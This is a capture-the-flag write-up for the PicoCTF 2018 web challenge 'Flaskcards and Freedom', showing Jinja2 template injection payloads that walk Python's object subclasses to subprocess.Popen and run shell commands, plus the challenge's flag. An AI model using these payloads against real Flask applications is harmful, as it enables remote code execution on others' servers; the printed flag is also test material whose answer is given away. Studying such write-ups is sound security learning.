Contact CTF writeups Notes

[PicoCTF 2018] - web - Flaskcards and Freedom

This is one of my writeups for PicoCTF 2018


There seem to be a few more files stored on the flash card server but we can't login. Can you?

hints :

  1. There's more to the original vulnerability than meets the eye.
  2. Can you leverage the injection technique to get remote code execution?
  3. Sorry, but the database still reverts every 2 hours.


This task is a "sequel" to the first one in the "Flaskcards" series. The vulnerability is the same, but this time we need to get code execution out of it.

First, here are the two reference articles for FLask/Jinja2 SSTI exploitation :

Everything we need to solve this task is in those two posts !

What we need to do is explore the Python environment in order to find a class that we can use for command execution. Here's how to construct a payload :

{{ "".__class__.__mro__ }}

In python, everything is an object. So here "" (an empty string) is a str instance. the __class__ attribute gives us access to its class (str). the __mro__ (Method Resolution Order) attribute of a class gives us the inheritance tree of that class (a tuple of classes) :

(str, object)

Now, "everything is an object" in python translates to "every class is a subclass of object". So we can explore the python environment by listing the subclasses of object :

If {{ "".__class__.__mro__ }} evaluates to (str, object), then

{{ "".__class__.__mro__[1] }}

evaluates to


We can then use the __subclasses__() method of the object class to get a list of subclasses. So using the payload :

{{ "".class.mro[1].subclasses() }}

We get a very long list classes. I copied it and then used :

subclasses = !pbpaste
for index, subclass in enumerate(subclasses[0].split(',')):
    print(f'{index}: {subclass}')

to get a list of the subclasses with their index in the list.

Note : !command is not python syntax, it is an IPython feature that returns the output of a command. pbpaste is an OSX command that echoes the content of the system clipboard.

Going through the list, we can find a class that can be used for command execution. The most obvious one is subprocess.Popen, at index 533. We could get a bind/remote shell, or just list the current directory :

{{ "".__class__.__mro__[1].__subclasses__()[533]("ls", stdout=-1, shell=True) }}

This shows a flag file, so let's cat it :

{{ "".__class__.__mro__[1].__subclasses__()[533]("cat flag", stdout=-1, shell=True) }}

And that gives us the flag = picoCTF{R_C_E_wont_let_me_be_85e92c3a}.